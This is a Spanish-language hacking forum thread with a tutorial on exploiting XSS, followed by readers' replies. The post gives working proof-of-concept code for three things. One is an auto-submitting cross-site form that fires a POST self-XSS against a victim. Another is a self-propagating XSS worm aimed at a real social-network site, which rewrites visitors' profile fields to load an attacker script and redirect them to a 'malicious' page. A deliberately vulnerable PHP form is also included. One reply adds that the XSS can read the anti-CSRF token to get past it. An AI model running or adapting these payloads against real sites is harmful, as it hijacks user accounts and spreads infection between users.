Avanzando con las XSS's

Iniciado por rollth, Septiembre 25, 2016, 02:18:00 PM

Tema anterior - Siguiente tema

0 Miembros y 1 Visitante están viendo este tema.

Septiembre 25, 2016, 02:18:00 PM Ultima modificación: Abril 01, 2018, 10:21:06 AM por rollth
Muy buenas Underc0ders, en el día de hoy me gustaría explicar Y hacer unas POC's, de algunas formas "nuevas" de poder explotar una XSS. Si no entendéis de lo que estoy hablando podríais empezar leyéndoos este No tienes permitido ver enlaces. Registrate o Entra a tu cuenta

Lo primero que quiero explicar es como se podría explotar una self XSS, este tipo de XSS se supone que es aquella que solo puedes ejecutarla tú desde tu máquina (y por lo tanto se considera un ejercicio de pura ingeniería social), funcionaría por el metodo POST y no quedaría en ninguna base de datos para que pudieran verlo el resto de usuarios, como puede ser un Mensaje Privado en una web. Un ejemplo es un buscador, pero que en lugar de funcionar enviando los parámetros por la url, se envían por método POST. Os dejo aquí el código que yo voy a usar para que podáis subirlo a un hosting y podáis hacer también la prueba.

Código: php
<form action="buscar.php" method="POST">
<input type="text" name="busqueda" />
<input type="hidden" name="enviado" value="true" />
<button type="submit">Enviar</button>
</form>

<?php

$busqueda = $_POST["busqueda"];
$enviado = $_POST["enviado"];

if($enviado == "true"){
    echo "<p>No se encuentra la palabra " . $busqueda . ".</p>";
}

?>


Lo que nosotros vamos a hacer es copiar el form y subirlo a nuestro servidor de una manera que se envíe solo, y le mandaremos el link, ya como prefiráis para ejecutarle el código malicioso. La página en mi servidor ha quedado así.

Código: php
<form id="myForm" action="url/buscar.php" method="POST">
<input type="hidden" name="busqueda" value="<script>alert(0)</script>" />
<input type="hidden" name="enviado" value="true" />
<img src=x onerror="myFunction()">
</form>

<script>
function myFunction() {
    document.getElementById("myForm").submit();
}
</script>


Y una vez el usuario pulsa el link de mi página maliciosa se ejecuta el self XSS.



La otra cosa que quería explicar es como podemos propagar un XSS, vamos a suponer que tenemos una red social (yo hice las pruebas No tienes permitido ver enlaces. Registrate o Entra a tu cuenta) en la cual encontramos una XSS, por ejemplo en el nombre en el perfil que es lo que ha sucedido esta vez. Entonces podríamos hacer que cuando alguien se metiese en nuestro perfil se le cambiase el nombre y se le pusiera el mismo payload y así, a su vez podría él infectar a una tercera persona. Pues en esto consistiría el proceso. ¿Y como lo hacemos?

Pues en realidad es sencillo, en este caso, hay muchas XSS's, y yo me voy a aprovechar de la que consiste en el tipo de raza de el animal. Al igual que antes vamos a hacer un HTML con un form, y ahora este form va a cambiar nuestro perfil.

Código: php
<form id="myForm" action="http://www.facepets.es/usuario.php?dat=datos&mod=ok&mod=off&in=ok" method="POST">
<input name="raza" type="hidden" value="<script type='text/javascript' src='url/archivo1.js'></script><p onclick='salir()'>ROLO</p>">
<img src=x onerror="myFunction()">
</form>

<script>
function myFunction() {
    document.getElementById("myForm").submit();
}
</script>


Si os fijáis esto lo que hace es modificar la raza de cualquiera que entre en este link, y en la raza  pone el script archivo1.js
Cuando alguien entra en el perfil de una persona con ese archivo le llevará al form y esto hará que se modifique el perfil. Así cualquier persona que entre en un perfil de alguien infectado quedará el también infectado. Por último os dejo el archivo1.js para que podáis probarlo.

Código: javascript
function salir()
{
window.location="url/Prueba 2/maligno.html";
}



Es posible que en estos dos casos haya una variable llamada csrf que es independiente para cada usuario y sirve para impedir este tipo de ataques y no se puedan hacer peticiones "Ilegítimas".

Espero que os haya gustado y sido de utilidad.

También me pueden seguir en Twitter si les hace ilusión: No tienes permitido ver enlaces. Registrate o Entra a tu cuenta

Saludos.

RollthBuen hacker mejor No tienes permitido ver enlaces. Registrate o Entra a tu cuenta/No tienes permitido ver enlaces. Registrate o Entra a tu cuenta

Si hay xss podes leer el token anti csrf y mandar el form igual

No tienes permitido ver enlaces. Registrate o Entra a tu cuenta
Si hay xss podes leer el token anti csrf y mandar el form igual

Depende del caso, pero se haría muy tedioso explicarlo también, por eso quise dejarlo ahí.
RollthBuen hacker mejor No tienes permitido ver enlaces. Registrate o Entra a tu cuenta/No tienes permitido ver enlaces. Registrate o Entra a tu cuenta

Tengo una duda con el fragmento de PHP:
Código: php
<input type="hidden" name="raza" value="<script type="text/javascript src="url/archivo1.js""></script><p onclick="salir()">ROLO</p>" />

¿No tendrían que escaparse las comillas del script para que no nos cierre el valor de value?
Código: php
<input type="hidden" name="raza" value="<script type=\"text/javascript src=\"url/archivo1.js\""></script><p onclick="salir()">ROLO</p>" />
Podría vivir perfectamente con una mancha de pis en la alfombra, pero qué va, tío: Más complicaciones.

No tienes permitido ver enlaces. Registrate o Entra a tu cuenta
Tengo una duda con el fragmento de PHP:
Código: php
<input type="hidden" name="raza" value="<script type="text/javascript src="url/archivo1.js""></script><p onclick="salir()">ROLO</p>" />

¿No tendrían que escaparse las comillas del script para que no nos cierre el valor de value?
Código: php
<input type="hidden" name="raza" value="<script type=\"text/javascript src=\"url/archivo1.js\""></script><p onclick="salir()">ROLO</p>" />


Tienes razón, estaba mal :(
Ya lo he modificado, muchas gracias por avisar.
RollthBuen hacker mejor No tienes permitido ver enlaces. Registrate o Entra a tu cuenta/No tienes permitido ver enlaces. Registrate o Entra a tu cuenta

No tienes permitido ver enlaces. Registrate o Entra a tu cuenta
Tienes razón, estaba mal

Vale, vale. Es que pensé que era un código que habías utilizado durante una demo y me sorprendía que funcionase. Si lo fuiste escribiendo sobre la marcha me parece normal que hubiera una errata.

¡Buen post! De este post se podría dar un salto a No tienes permitido ver enlaces. Registrate o Entra a tu cuenta.
Podría vivir perfectamente con una mancha de pis en la alfombra, pero qué va, tío: Más complicaciones.

No tienes permitido ver enlaces. Registrate o Entra a tu cuenta
No tienes permitido ver enlaces. Registrate o Entra a tu cuenta
Tienes razón, estaba mal

Vale, vale. Es que pensé que era un código que habías utilizado durante una demo y me sorprendía que funcionase. Si lo fuiste escribiendo sobre la marcha me parece normal que hubiera una errata.

¡Buen post! De este post se podría dar un salto a No tienes permitido ver enlaces. Registrate o Entra a tu cuenta.

La cuestión es que si lo probé y no funcionaba, entonces lo modifiqué en mi host para que funcionase y se me olvidó ponerlo bien en el post xD

Gracias por tu opinión :D
RollthBuen hacker mejor No tienes permitido ver enlaces. Registrate o Entra a tu cuenta/No tienes permitido ver enlaces. Registrate o Entra a tu cuenta